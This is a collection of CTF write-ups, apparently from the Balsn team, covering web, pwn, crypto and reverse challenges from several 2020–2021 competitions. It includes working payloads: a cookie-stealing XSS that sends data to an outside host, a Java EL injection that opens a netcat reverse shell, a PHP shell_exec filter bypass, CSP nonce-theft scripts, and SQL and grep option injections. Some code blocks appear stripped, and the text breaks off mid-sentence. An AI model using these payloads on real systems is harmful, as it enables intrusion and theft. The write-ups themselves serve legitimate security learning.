gt 69 } 74 | mode http 75 | use_backend test 76 | 77 | backend test 78 | balance roundrobin 79 | mode http 80 | server flaskapp app:8282 resolvers docker_resolver resolve-prefer ipv4 81 | ``` 82 | 83 | 1. `path_beg`: request `/%2fadmin` or simply `//admin` 84 | 2. `METH_POST`: Just use `HEAD` 85 | 3. `hdr_len(Cookie)`: send multiple `Cookie` headers 86 | 4. `cook(IMPERSONATE)`: Insert invalid chracter like `IMPERSONATE\x0b`. The backend `flask` will resolve it as `IMPERSONATE`. 87 | 88 | Here is the fuzz script for step 4. 89 | 90 | ``` 91 | #!/usr/bin/env python3 92 | import socket 93 | import string 94 | for i in range(128): 95 | c = chr(i) 96 | if c in (string.ascii_letters + string.digits): 97 | continue 98 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 99 | s.connect(('shithappens-01.play.midnightsunctf.se', 80)) 100 | s.send((f''' 101 | GET //admin HTTP/1.1 102 | Cookie: KEY=0be40039bcd8286eab237f481641b16e5e3ab442e0bc1135f08c143b22dc1efc; 103 | cooKie: ;IMPERSONATE{c}=admin 104 | Connection: close 105 | ''' + '\n').lstrip().replace('\n', '\r\n').encode()) 106 | print(repr(c), s.recv(65536).decode()) 107 | s.close() 108 | ``` 109 | 110 | For the the reason why flask resolves it as `IMPERSONATE`, see [this post](https://www.cnblogs.com/20175211lyz/p/12637624.html) (in Chinese), or check the flask source code. 111 | 112 | In this challenge, there is also a debug interface `/debug` which can be useful for debugging the cookies. 113 | 114 | 115 | -------------------------------------------------------------------------------- /20200509-spamandflags/README.md: -------------------------------------------------------------------------------- 1 | # S㎩mAndFlags Uけimate w呎は屸de C㏊mᒆonship Teaser ꕫꕫ - ㎩㏚i㎄ Edition 2 | 3 | 4 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20200509-spamandflags/) of this writeup.** 5 | 6 | 7 | - [S㎩mAndFlags Uけimate w呎は屸de C㏊mᒆonship Teaser ꕫꕫ - ㎩㏚i㎄ Edition](#smandflags-uけimate-w呎は屸de-cmᒆonship-teaser-ꕫꕫ---i-edition) 8 | - [Web](#web) 9 | - [Pwnzi 2 & 3](#pwnzi-2--3) 10 | - [Rev](#rev) 11 | - [TAS](#tas) 12 | - [1. Beat the RNG of RndSpike](#1-beat-the-rng-of-rndspike) 13 | - [2. Crouch can reset attack timer](#2-crouch-can-reset-attack-timer) 14 | - [3. Write a script to produce moveset](#3-write-a-script-to-produce-moveset) 15 | - [4. Place one orb on two orb holders](#4-place-one-orb-on-two-orb-holders) 16 | - [5. Skip the second orbspike](#5-skip-the-second-orbspike) 17 | - [Pwn](#pwn) 18 | - [Environmental Issues](#environmental-issues) 19 | 20 | 21 | 22 | ## Web 23 | 24 | ### Pwnzi 2 & 3 25 | 26 | Various ways to bypass referer check in the same origin: 27 | 28 | Use `history.pushState` to bypass referer check. It seems that specifiying referer in `fetch()` can also works. The flag `SaF{service_workers_are_useless_they_say}` indicates that the intended solution is about service worker, but I didn't use that. 29 | 30 | ``` 31 | 38 | ``` 39 | 40 | ## Rev 41 | 42 | ### TAS 43 | 44 | 45 | Here are some tricks which can help you reduce the number of frames: 46 | 47 | #### 1. Beat the RNG of RndSpike 48 | 49 | Take a look of `Rnd.py`. it tells you that `LCG influenced by the keypresses`. So I wrote a simulator to predict the movements of spike. 50 | 51 | #### 2. Crouch can reset attack timer 52 | 53 | According to `Player.py`. you can crouch immediately after you punch to reset the attack timer. By repeating punch and crouch, you can deal one damage per two frames. This trick helps you quickly kill `TRex` 54 | ```=python 55 | ... 56 | def startCrouching(self): 57 | if not self.crouching and self.onGround: 58 | self.crouching = True 59 | self.attackTimer = 0 60 | self.collRect = Rect(20, 32, 26, 18) 61 | ... 62 | ``` 63 | 64 | 65 | By using these two tricks, I got the first two flags 66 | 67 | #### 3. Write a script to produce moveset 68 | 69 | Human makes mistakes, so I wrote a script to produce the moveset. A mistake-free moveset saves lots of frame. 70 | 71 | Then I got the third flag. 72 | 73 | #### 4. Place one orb on two orb holders 74 | 75 | I found that there are two orb holders which are very close to each other. I thought maybe we can place one orb on two orb holders. By analyzing the code below at `Player.py`, I found we can trigger two orb holders when standing between them. 76 | 77 | 78 | 79 | ```=python 80 | ... 81 | def placeOrbOnStand(self): 82 | if self.isImmobile(): 83 | return 84 | if self.isAttacking() or not self.onGround: 85 | return False 86 | if not self.holdingOrb: 87 | return 88 | print("placeorb") 89 | rect = self.getCollRect() 90 | offsets = [(0, 0), (1, 0), (-1, 0)] 91 | midX = floor(rect.centerx / Tile.LENGTH) 92 | midY = floor(rect.centery / Tile.LENGTH) 93 | for offset in offsets: 94 | x = midX + offset[0] 95 | y = midY + offset[1] 96 | tile = self.map.getTile(x, y) 97 | if tile is not None and tile.id == Tile.ORB_HOLDER_OFF: 98 | tileRect = tile.getCollRect().move(x*Tile.LENGTH, y*Tile.LENGTH) 99 | if ((tileRect.centerx > rect.centerx and self.keysPressed.right) 100 | or (tileRect.centerx < rect.centerx and self.keysPressed.left)): 101 | self.map.triggerOrb(x, y) 102 | self.holdingOrb = False 103 | # since it didn't break the loop, we can trigger more than one orb holder if they are close enough to each other 104 | ... 105 | ``` 106 | 107 | This trick helps me get the fourth flag and the fifth flag. 108 | 109 | #### 5. Skip the second orbspike 110 | 111 | This is the last trick I found: When you are damaged, you'll be invulnerable in a short period. But only the second orbspike can be skipped by this trick. 112 | 113 | 114 | That's all. Now we can get all the flags. 115 | 116 | https://pastebin.com/1XTVWxFG 117 | 118 | ![](https://i.imgur.com/HJFxtVK.png) 119 | 120 | 121 |
122 | 123 | 124 | ## Pwn 125 | 126 | ### Environmental Issues 127 | 128 | This write-up is for the unpatched version. For the patched version, we didn't find the `BASH_FUNC_[function name]%%` trick and got no flag in that challenge. 129 | 130 | After you saw the releasing of the patched version, check what's the patch: 131 | 132 | Original 133 | 134 | ```bash= 135 | line="$(grep "${1:?Missing arg1: name}" < issues.txt)" 136 | ``` 137 | 138 | After the fix 139 | 140 | ```bash= 141 | line="$(grep -- "${1:?Missing arg1: name}" < issues.txt)" 142 | ``` 143 | 144 | This is the only line being modified in the shell code (there are some unimportant changes in other files though). Clearly, the vulnerability is to put option(s) to grep. 145 | 146 | Check the manual for any option that could read a file, we found `-f [FILE]` would read the patterns from the FILE. After testing, we confirmed that it could be put as `-fflag` (without whitespace), and we could also use `-eFlagFragment`. They provide almost same effects and, the most important, we still got room for more short options. 147 | 148 | We could put `-r` since grep searches the working directory if no file operand is given (note that `issues.txt` is fed by redirection). Now with `-reFlagFragment`, it works locally without sandbox. But this would timeout in the sandbox and abort the connection immediately for remote (couldn't even get the output from `challenge.py`). 149 | 150 | There are many options to optimize the search. The only useful one I found is `-I` to ignore all binary files. Now put `-rIeFlagFragment` as argument and generated 16 arbitrary keys, then you'll get 4 flags! 151 | 152 | Here are the lovely flags: 153 | `SaF{PleaseStopExploitingTheEnvironmentSeeHowBeautifulSheIs🌍}` 154 | `SaF{NiceJobYouHaveJustKilledAllTheBees🐝StopNowBeforeItIsTooLate!}` 155 | `SaF{HereIsYourFlagButAtWhatPrice?https://www.youtube.com/watch?v=eROSvnr3QZM}` 156 | `SaF{🔥UNINTENDED💀ENVIRON🔥MENTAL💀COLLAPSE🔥}` 157 | -------------------------------------------------------------------------------- /20200822-googlectf2020/README.md: -------------------------------------------------------------------------------- 1 | # Google CTF 2020 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20200822-googlectf2020/) of this writeup.** 4 | 5 | 6 | - [Google CTF 2020](#google-ctf-2020) 7 | - [Web](#web) 8 | - [Pasteurize](#pasteurize) 9 | - [Tech Support](#tech-support) 10 | - [LOG-ME-IN](#log-me-in) 11 | - [Crypto](#crypto) 12 | - [Oracle](#oracle) 13 | - [TL;DR](#tldr) 14 | - [YAFM](#yafm) 15 | - [TL;DR](#tldr-1) 16 | - [Quantum Pyramids](#quantum-pyramids) 17 | - [TL;DR](#tldr-2) 18 | - [SHArky](#sharky) 19 | - [TL;DR](#tldr-3) 20 | 21 | 22 | ## Web 23 | 24 | ### Pasteurize 25 | 26 | First, spot the `/source` in web source code. The backend is a nodejs server. 27 | 28 | ```javascript 29 | app.use(bodyParser.urlencoded({ 30 | extended: true 31 | })); 32 | 33 | // ... 34 | 35 | const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) 36 | .replace(//g, '\\x3E'); 37 | 38 | // ... 39 | 40 | app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => { 41 | const note_id = req.params.id; 42 | const note = await DB.get_note(note_id); 43 | 44 | if (note == null) { 45 | return res.status(404).send("Paste not found or access has been denied."); 46 | } 47 | 48 | const unsafe_content = note.content; 49 | const safe_content = escape_string(unsafe_content); 50 | 51 | res.render('note_public', { 52 | content: safe_content, 53 | id: note_id, 54 | captcha: res.recaptcha 55 | }); 56 | }); 57 | ``` 58 | 59 | So `example.com"bar"` will become `const note = "example.com\x3Cfoo\x3E\"bar\"";`. The double quotes are encoded because of `JSON.stringify`. 60 | 61 | However, the `escape_string` logic is weird, especially the `slice` one. The slice is intended to prune `"example.com"` to `example.com`. 62 | 63 | Since we have `bodyParser` `extended: true`, we can send an array into the request object. If we make the content an array, the behavior of slice function will become 64 | 65 | ``` 66 | ["example.com"] -> "example.com" 67 | ``` 68 | 69 | That is, we can preserve the double quotes, and it leads to javascript injection. The final payload: 70 | 71 | ``` 72 | content[]=;document.location='http://example.com/?'+btoa(document.cookie);// 73 | 74 | // CTF{Express_t0_Tr0ubl3s} 75 | ``` 76 | 77 | ### Tech Support 78 | 79 | In this challenge, the admin has cookies in `typeselfsub.web.ctfcompetition.com/`. The domain has a self-XSS requireing the user to see his/her profiles. That is, unless admin is logout and log in to our account, the XSS will not be triggered. 80 | 81 | Addtionally, the XSS bot admin will browse pages in `typeselfsub-support.web.ctfcompetition.com/`. The page has an easy XSS. 82 | 83 | The question is: how to abuse self-XSS to steal the flag? 84 | 85 | We can just keep the logged-in admin frame there, and then CSRF to login our account and execute XSS payload to steal the page content. This does not violate same-origin policy because the two frames still belong to the same domains. 86 | 87 | So first, redirect the admin to a website that we controlled. 88 | 89 | ```htmlmixed 90 | 91 | ``` 92 | 93 | Next, we open three frames here: 94 | 95 | 1. Admin's frame containg the flag 96 | 2. logout admin's account 97 | 3. login to our account and execute XSS 98 | 99 | index.html: 100 | 101 | ```htmlmixed 102 | 103 | 104 | 105 | 106 | 107 | 118 | ``` 119 | 120 | login.html: 121 | 122 | ```htmlmixed 123 |
124 | 125 | 126 | 127 |
128 | ``` 129 | 130 | Finally, the profile page in frame 3 will execute XSS in `typeselfsub.web.ctfcompetition.com/` domain. 131 | 132 | ```htmlmixed 133 | 134 | ``` 135 | 136 | where `parent.frames[0]` is the frame containg admin's flag. 137 | 138 | Flag: `CTF{self-xss?-that-isn't-a-problem-right...}` 139 | 140 | For an unintended solution which leaks admin secret route URL via referer, please see [this writeup by pop_eax](https://pop-eax.github.io/blog/posts/ctf-writeup/web/xss/2020/08/23/googlectf2020-pasteurize-tech-support-challenge-writeups/). 141 | 142 | ### LOG-ME-IN 143 | 144 | From the source code `app.js`, we can found the `login` API 145 | 146 | ```javascript 147 | ... 148 | const u = req.body['username']; 149 | const p = req.body['password']; 150 | 151 | const con = DBCon(); // mysql.createConnection(...).connect() 152 | 153 | const sql = 'Select * from users where username = ? and password = ?'; 154 | con.query(sql, [u, p], callbackFunction) 155 | ... 156 | ``` 157 | It parses `username` and `password` from body, and uses them as prepared SQL statement parameter without checking whether they are strings or converting them to string. 158 | 159 | And since `bodyParser` `extended: true`, we can send an object to `username` and `password` 160 | 161 | By reading how nodejs mysql [Escaping query values](https://github.com/mysqljs/mysql#escaping-query-values) , we can see that it will convert object into format such as 162 | ``` 163 | `key1`=value1, `key2`=value2 164 | ``` 165 | 166 | For example 167 | ```javascript 168 | const mysql = require('mysql') 169 | mysql.format('SELECT * from example WHERE id = ?', {'a':'b', 'c':'d'}) 170 | //SELECT * from example WHERE id = `a` = 'b', `c` = 'd' 171 | ``` 172 | Therefore, we can send `username=Michelle&password[password]=1` to inject an object into the query, and the query will become 173 | ```SQL 174 | Select * from users where username = 'Michelle' and password = `password` = '1' 175 | ``` 176 | And then we can successfully log in to get the flag 177 | Flag: `CTF{a-premium-effort-deserves-a-premium-flag}` 178 | 179 | ## Crypto 180 | 181 | ### Oracle 182 | #### TL;DR 183 | (In subtask 2, I've developed some techniques that reduce the query number down to 170. See the last part for those tricky optimizations.) 184 | 185 | Subtask 1 186 | 1. Encrypt one all zero plaintext for the base case 187 | 2. Encrypt two different input differences for each blocks 188 | 3. Recover all states except S1, S5 with those differences 189 | 4. Recover S1, S5 from the ciphertext and states. 190 | 191 | Subtask 2 192 | 1. Leak 6 blocks of plaintext 193 | 2. Same as subtask 1 194 | 195 | Subtask 2 in a hard way 196 | 1. Reduce the fetches of the base case by using per byte difference 197 | 2. Reduce the size of additional checksum 198 | 199 | 200 | [Here's the full writeup](https://sasdf.github.io/ctf/writeup/2020/google/crypto/oracle/) 201 | 202 | 203 | ### YAFM 204 | #### TL;DR 205 | 1. Model the probability of a factor guess with binomial and hypergeometric distribution 206 | 2. Run best-first search to get lower bits 207 | 3. Factor the public key using Coppersmith's method 208 | 209 | 210 | [Here's the full writeup](https://sasdf.github.io/ctf/writeup/2020/google/crypto/yafm/) 211 | 212 | 213 | ### Quantum Pyramids 214 | #### TL;DR 215 | 1. Collect some signatures until all secrets are revealed 216 | 2. Hook on the code of sphincs+ to build the full hash tree 217 | 3. Generate the signature with the hash tree 218 | 219 | 220 | [Here's the full writeup](https://sasdf.github.io/ctf/writeup/2020/google/crypto/quantum/) 221 | 222 | 223 | ### SHArky 224 | #### TL;DR 225 | 1. Subtract the IV from the output 226 | 2. Undo last 56 rounds 227 | 3. Recover round constants from 8 to 1 by propagating the error the first round. 228 | 229 | 230 | [Here's the full writeup](https://sasdf.github.io/ctf/writeup/2020/google/crypto/sharky/) 231 | 232 | -------------------------------------------------------------------------------- /20200905-confidence2020ctffinals/README.md: -------------------------------------------------------------------------------- 1 | # CONFidence 2020 CTF Finals 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20200905-confidence2020ctffinals/) of this writeup.** 4 | 5 | 6 | - [CONFidence 2020 CTF Finals](#confidence-2020-ctf-finals) 7 | - [Web](#web) 8 | - [Password Manager](#password-manager) 9 | - [HAHA Jail](#haha-jail) 10 | - [Yet Another Cat Challenge](#yet-another-cat-challenge) 11 | - [Yet Another Yet Another Cat Challenge](#yet-another-yet-another-cat-challenge) 12 | - [Reverse](#reverse) 13 | - [Team Trees](#team-trees) 14 | - [Crypto](#crypto) 15 | - [FibHash](#fibhash) 16 | 17 | 18 | ## Web 19 | 20 | ### Password Manager 21 | 22 | This blackbox challenge has only one input box. After some fuzzing @how2hack found the input `${7*7}` will return 49. 23 | 24 | Based on `JSESSIONID`, we know this is a Java application. After some trial and error, we google the error message and find it's `Java Unified Expression Language`. 25 | 26 | ``` 27 | > ${context} 28 | 29 | de.odysseus.el.util.SimpleContext@5bd317d3 30 | 31 | ``` 32 | 33 | [This articile](https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass) demos how to RCE through this template injection. 34 | 35 | Here is the final RCE payload: 36 | 37 | ``` 38 | ${true.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(true.getClass().forName("java.lang.Runtime")).exec("busybox nc 133.221.333.123 1337 -e sh")}"; 39 | 40 | # p4{inside-jar-was-juel-who-blocked-my-classes-and-made-me-use-session-giving-me-depression} 41 | ``` 42 | 43 | ### HAHA Jail 44 | 45 | The server uses [hhvm](https://github.com/facebook/hhvm) to run the php sandbox. Here is a simple hello world sample: 46 | 47 | ``` 48 | > 50 | function main(): void { 51 | echo 123; 52 | } 53 | ``` 54 | 55 | The server also has a lots of keyword filter. For instance, the source code cannot contain `shell_exec`. However this is trivial to bypass as PHP is a pretty dynamic language. 56 | 57 | ``` 58 | > 60 | function main(): void { 61 | echo call_user_func("shell_\x65xec","cat \x2fvar\x2fwww\x2f*lag* 1>&2"); 62 | } 63 | ``` 64 | 65 | Flag: `p4{h4x0riN9_7H3_H4ck}` 66 | 67 | ### Yet Another Cat Challenge 68 | 69 | This is a XSS challenge and flag is in `/flag` (JSONP script endpoint). However, strict CSP is deployed: 70 | 71 | ``` 72 | default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css; img-src 'self'; script-src 'nonce-GXj7n92IV_gjalKGExKGCg' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ 73 | ``` 74 | 75 | So we cannot just `fecth("/flag")` and read the content. We have to somehow inject `', '\\x3e'), 98 | ('\n', ''), 99 | ]: 100 | x = x.replace(old, new) 101 | return x 102 | payload = quote(replace(''' 103 | nonce=document.querySelector(`script`).nonce; 104 | document.write(` 105 | `); 106 | ''')) 107 | redirect_url = 'http://yacc.zajebistyc.tf/note/b02e8d7d-be2a-455d-8eeb-2d0db6194a95?theme=' + payload 108 | print(redirect_url) 109 | 110 | # cat type payload 111 | print(f''.replace('"', '"')) 112 | # index.html 113 | f''' 114 | location = '{redirect_url}' 115 | ''' 116 | ``` 117 | 118 | Flag: `p4{you_painted_it_yourself!}` 119 | 120 | This is apparently an unintended solution. Another unintended solution is using `window.open`. See [@terjanq's payload](https://gist.github.com/terjanq/a50aa6a3b78fbc4350e5a14e2ff0a7d8) for details. Both solution does not exploit through the flag JSONP API. 121 | 122 | The intended solution, according to XeR, is using BMP to leak the pixels, as the CSP allows to include images from `self`. 123 | 124 | ``` 125 | http://yayacc.zajebistyc.tf/flag?var=%42%4D%50%00%00%00%00%00%00%00%20%00%00%00%0C%00%00%00%08%00%0A%00%01%00%01%00%FF%FF%FF%00%00%00 126 | ``` 127 | 128 | And use `` to load the flag and leak it. 129 | 130 | ### Yet Another Yet Another Cat Challenge 131 | 132 | This is a fixed version of the previous challenge by removing the script element `document.scripts[0].remove()`. We can no longer retrieve the nonce. 133 | 134 | However, violating CSP will fire an event [SecurityPolicyViolationEvent](https://developer.mozilla.org/en-US/docs/Web/API/SecurityPolicyViolationEvent), which can be useful to retrieve the nonce. 135 | 136 | The attack steps are exactly the same as the previous challenge. 137 | 138 | ```python 139 | #!/usr/bin/env python3 140 | import requests 141 | from base64 import b64encode 142 | from urllib.parse import quote 143 | def replace(x): 144 | for old, new in [ 145 | ('"', '\\x22'), 146 | ('<', '\\x3c'), 147 | ('>', '\\x3e'), 148 | ('\n', ''), 149 | ]: 150 | x = x.replace(old, new) 151 | return x 152 | payload = quote(replace(''' 153 | document.addEventListener(`securitypolicyviolation`, function (e) { 154 | nonce=e.originalPolicy.substring(182, 204); 155 | document.write(``); 156 | }); 157 | fetch(`foo`) 158 | ''')) 159 | redirect_url = 'http://yayacc.zajebistyc.tf/note/6fadeb7c-b5cc-426c-b7dc-92a7cba5fdd7?theme=' + payload 160 | print(redirect_url) 161 | 162 | # cat type payload 163 | print(f''.replace('"', '"')) 164 | # index.html 165 | f''' 166 | location = '{redirect_url}' 167 | ''' 168 | ``` 169 | 170 | Flag: `p4{can_you_draw_with_a_cat?}` 171 | 172 | For the intended solution, please refer to the previous challenge's write-up. 173 | 174 | ## Reverse 175 | 176 | ### Team Trees 177 | 178 | ```python 179 | # sage ./flag.sage 180 | 181 | # p4{62246322232ceabf0bf1d9826c054007} 182 | 183 | ''' 184 | loop: 185 | lea rdx, [rdx+rdx*2] 186 | lea rdx, [rdx+rcx*2+4] 187 | xchg rcx, rdx 188 | jmp loop 189 | 190 | 191 | x' = y 192 | y' = 3x + 2y + 4 193 | 194 | [ x , y , 1 ] 195 | 196 | [ 0 , 3 , 0 ] 197 | [ 1 , 2 , 0 ] 198 | [ 0 , 4 , 1 ] 199 | ''' 200 | 201 | 202 | K = Zmod(2^64) 203 | 204 | A = Matrix(K, [ 205 | [ 0x82F96AC97429A68B, 0x32B9B6BCA55548ED, 1] 206 | ]) 207 | 208 | N = Matrix(K, [ 209 | [ 0, 3, 0], 210 | [ 1, 2, 0], 211 | [ 0, 4, 1], 212 | ]) 213 | 214 | assert N^(2^64) == identity_matrix(3) 215 | 216 | 217 | dp = [0] * 1338 218 | dp[0] = 1 219 | dp[1] = 3 220 | dp[2] = 5 221 | dp[3] = 15 222 | 223 | K = Zmod(2^66) 224 | dp = [K(e) for e in dp] 225 | 226 | for i in range( 1338 ): 227 | if dp[i]: 228 | continue 229 | 230 | dp[i] = dp[i-1] + dp[i-2] ** 2 + dp[i-3] ** 3 231 | #print(i, dp[i]) 232 | 233 | n = dp[1337] 234 | e = ZZ(n) // 4 235 | 236 | print( 'n =' , n ) 237 | print( 'n / 4 =' , e ) 238 | print( 'n % 4 =' , n % 4 ) # 1 239 | 240 | ans = A*N^e 241 | print( 'A * N^e =' , ans) 242 | 243 | rdx = ans[0,0] 244 | rcx = ans[0,1] 245 | 246 | rdx = rdx + rdx * 2 247 | 248 | print( 'p4{%016x%016x}' % ( rcx , rdx ) ) 249 | ``` 250 | 251 | ## Crypto 252 | 253 | ### FibHash 254 | 255 | Given a big prime $p$, indicates all scalar arithmetic will be performed under modulo $p$. 256 | Given four matrices $A_0$..$A_3$, and four vectors $x_0$..$x_3$. 257 | Given $A_i^nx_i[0]$, find $n$. 258 | 259 | First, observe the eigen values of each matrix. 260 | Eigen value of $A_0$ is a multiple root $3$, and $A_0$ is not diagnalizable. 261 | Eigen values of $A_1$, $A_2$, and $A_3$ are $(3, 5)$, $(5, 7)$ and $(3, 7)$, respectively. 262 | 263 | By diagnalizing $A_1$, $A_2$, $A_3$ and solving simultaneous equations, we can calculate $3^n$, $5^n$, and $7^n$. 264 | Note that $A_0^n =\begin{matrix} 265 | |&3^n\times n+3^n&-3^n\times n&| \\ 266 | |&3^{n-1}\times n&-3^n\times n+3^n&| 267 | \end{matrix}$ 268 | Since $3^n$ is calculated before, one can easily find $n$. 269 | -------------------------------------------------------------------------------- /20210904-allesctf/README.md: -------------------------------------------------------------------------------- 1 | # ALLES! CTF 2021 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20210904-allesctf/) of this writeup.** 4 | 5 | 6 | - [ALLES! CTF 2021](#alles-ctf-2021) 7 | - [Zoomer Crypto](#zoomer-crypto) 8 | - [Legit Bank](#legit-bank) 9 | - [Issue](#issue) 10 | - [Exploit](#exploit) 11 | - [Mitigation](#mitigation) 12 | 13 | 14 | ## Zoomer Crypto 15 | 16 | ### Legit Bank 17 | 18 | > Jonah1005 ([@jonah1005w](https://twitter.com/jonah1005w)) 19 | 20 | This challenge is solved after the CTF ends. 21 | 22 | Legit Bank seems to be a simple defi system with five entrypoints. Users can deposit into the bank and receive the interest. Since there's no on-chain borrowing in the bank, it seems to be some undercollaterized defi protocol like [maple finance](https://www.maple.finance/), [TrueFi](https://truefi.io/), etc. 23 | 24 | #### Issue 25 | Bank manager would call `invest` to send the funds to a receiver. The vulnerability lies in the function `invest` 26 | 27 | ```rust 28 | 29 | /// See struct BankInstruction for docs 30 | fn invest(_program_id: &Pubkey, accounts: &[AccountInfo], amount: u64) -> ProgramResult { 31 | let [bank_info, vault_info, vault_authority_info, dest_token_account_info, manager_info, _spl_token_program] = 32 | array_ref![accounts, 0, 6]; 33 | // verify that manager has approved 34 | if !manager_info.is_signer { 35 | return Err(ProgramError::MissingRequiredSignature); 36 | } 37 | 38 | // verify that manager is correct 39 | let bank: Bank = Bank::try_from_slice(&bank_info.data.borrow())?; 40 | if bank.manager_key != manager_info.key.to_bytes() { 41 | return Err(0xbeefbeef.into()); 42 | } 43 | 44 | // verify that the vault is correct 45 | if vault_info.key.as_ref() != &bank.vault_key { 46 | return Err(ProgramError::InvalidArgument); 47 | } 48 | 49 | // verify that enough money is left in reserve 50 | let vault = spl_token::state::Account::unpack(&vault_info.data.borrow())?; 51 | if (vault.amount - amount) * 100 < bank.total_deposit * u64::from(bank.reserve_rate) { 52 | return Err(0xfeedf00d.into()); 53 | } 54 | 55 | // transfer tokens to manager 56 | invoke_signed( 57 | &spl_token::instruction::transfer( 58 | &spl_token::ID, 59 | &vault_info.key, 60 | &dest_token_account_info.key, 61 | &vault_authority_info.key, 62 | &[], 63 | amount, 64 | )?, 65 | &[ 66 | vault_info.clone(), 67 | dest_token_account_info.clone(), 68 | vault_authority_info.clone(), 69 | ], 70 | &[&[vault_info.key.as_ref(), &[bank.vault_authority_seed]]], 71 | )?; 72 | 73 | Ok(()) 74 | } 75 | ``` 76 | 77 | 78 | The program would check whether the `bank_manager` is signed. 79 | 80 | Here's how the problem is. The program reads the address of `bank_manager` from the `bank`. Since the bank is provieded by the user, an attacker can provide a fake bank and replace the `bank_manger` with his own address. 81 | 82 | 83 | 84 | I simply create a new function in the program to clone a bank and replace the bank_manager. 85 | 86 | ```rust= 87 | /// See struct BankInstruction for docs 88 | fn clone(_program_id: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult { 89 | let [target_bank_info, cloned_bank_info, manager_info] = 90 | array_ref![accounts, 0, 3]; 91 | 92 | // verify that manager is correct 93 | let bank: Bank = Bank::try_from_slice(&target_bank_info.data.borrow())?; 94 | let mut cloned_bank: Bank = Bank::try_from_slice(&cloned_bank_info.data.borrow())?; 95 | cloned_bank.manager_key = manager_info.key.to_bytes(); 96 | cloned_bank.vault_key = bank.vault_key; 97 | cloned_bank.vault_authority_seed = bank.vault_authority_seed; 98 | cloned_bank.reserve_rate = bank.reserve_rate; 99 | cloned_bank.serialize(&mut &mut cloned_bank_info.data.borrow_mut()[..])?; 100 | 101 | Ok(()) 102 | } 103 | ``` 104 | 105 | 106 | #### Exploit 107 | 108 | 1. Create a data account and clone a fake bank 109 | 2. Replace `manager_key` in the fake bank. Since the fake bank is created by the attacker, we can replace whatever field we want. 110 | 3. Call `invest` with the fake_bank and invest to ourself. Note: the rest of the parameters should be the same as the token belongs to the vault and authority. 111 | 112 | #### Mitigation 113 | 114 | Since Solana handles data differently from Ethereum, users would have to specify the data their using and provided info in the transactions. As this breaks dependency between transactions and boosts the network efficiency, developers from the Ethereum community may have some false assumptions of program's storage. [Solend's been hacked](https://twitter.com/solendprotocol/status/1428611597941891082) for the similar issue. [Report](https://docs.google.com/document/d/1-WoQwT1QrPEX-r4N-fDamRQ50LM8DsdsOyq1iTabS3Q/edit) 115 | 116 | The legit bank checks the correctness of bank address in `deposit` and `withdraw`, however, the check is missed in the invest function. 117 | 118 | ```rust 119 | // check that the bank account is correct 120 | let (bank_address, _) = Pubkey::find_program_address(&[], program_id); 121 | if *bank_info.key != bank_address { 122 | return Err(ProgramError::InvalidArgument); 123 | } 124 | ``` 125 | 126 | Or a more simple way is to check whether the `bank.owner == program_id` as only account's owner can modify its data. 127 | 128 | The flag is: 129 | 130 | ``` 131 | ALLES!{Some Smart Contracts are not very smart :(} 132 | ``` 133 | -------------------------------------------------------------------------------- /20211127-dragonctf2021/README.md: -------------------------------------------------------------------------------- 1 | # Dragon CTF 2021 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20211127-dragonctf2021/) of this writeup.** 4 | 5 | 6 | - [Dragon CTF 2021](#dragon-ctf-2021) 7 | - [Crypto](#crypto) 8 | - [CRC Recursive Challenge](#crc-recursive-challenge) 9 | - [Misc](#misc) 10 | - [Compress The Flag](#compress-the-flag) 11 | - [CTF Gateway Interface](#ctf-gateway-interface) 12 | - [Web](#web) 13 | - [Webpwn](#webpwn) 14 | - [Pwn](#pwn) 15 | - [Shellcode_verifier](#shellcode_verifier) 16 | - [Dragonbox](#dragonbox) 17 | 18 | 19 | 20 | ## Crypto 21 | ### CRC Recursive Challenge 22 | [Code](https://gist.github.com/sasdf/78fa4f4c9dc9db93534e4742b1de92e1) 23 | 24 | 25 | ## Misc 26 | 27 | ### Compress The Flag 28 | 29 | > bookgin 30 | 31 | 32 | We got firstblood of this challenge! 33 | 34 | If the charater we guessed is correct, zlib compressed size will remain the same. 35 | 36 | ```python= 37 | #!/usr/bin/env python3 38 | import socket 39 | import string 40 | chars = string.ascii_uppercase + 'grn{}' 41 | 42 | def get_zlib(res): 43 | for l in res.decode().splitlines(): 44 | if 'zlib' in l: 45 | return int(l.strip().rpartition(' ')[-1]) 46 | assert False 47 | 48 | def guess_with_prefix(flag): 49 | if len(flag) == 25: 50 | print(flag) 51 | import random 52 | random.seed(0) 53 | l = [i for i in range(25)] 54 | random.shuffle(l) 55 | print(l) 56 | new_l = [None for _ in range(25)] 57 | for src, dst in enumerate(l): 58 | new_l[dst] = flag[src] 59 | 60 | print(''.join(new_l)) 61 | # DrgnS{THISISACRIMEIGUESS} 62 | exit(0) 63 | print('guess prefix ' + repr(flag)) 64 | gz2cs = {} 65 | for c in chars: 66 | print('g', c) 67 | guess = (flag + c) * 30 68 | s.sendall(('0:' + guess + '\n').encode()) 69 | gz = get_zlib(s.recv(4096)) 70 | gz2cs[gz] = gz2cs.get(gz, '') + c 71 | min_gz = min(gz2cs.keys()) 72 | if len(gz2cs[min_gz]) == len(chars): 73 | print('give up prefix ' + repr(flag)) 74 | return 75 | for c in gz2cs[min_gz]: 76 | guess_with_prefix(flag + c) 77 | 78 | 79 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 80 | #s.connect(('127.0.0.1', 1337)) 81 | s.connect(('compresstheflag.hackable.software', 1337)) 82 | s.recv(1024) 83 | guess_with_prefix('') 84 | ``` 85 | 86 | ### CTF Gateway Interface 87 | 88 | > written by bookgin, solved by ginoah 89 | 90 | In the session file, though we can run it through `/cgi-bin/session_`, but the content is a SHA256 hash which cannot be easily controlled. 91 | 92 | Fortunately, in order 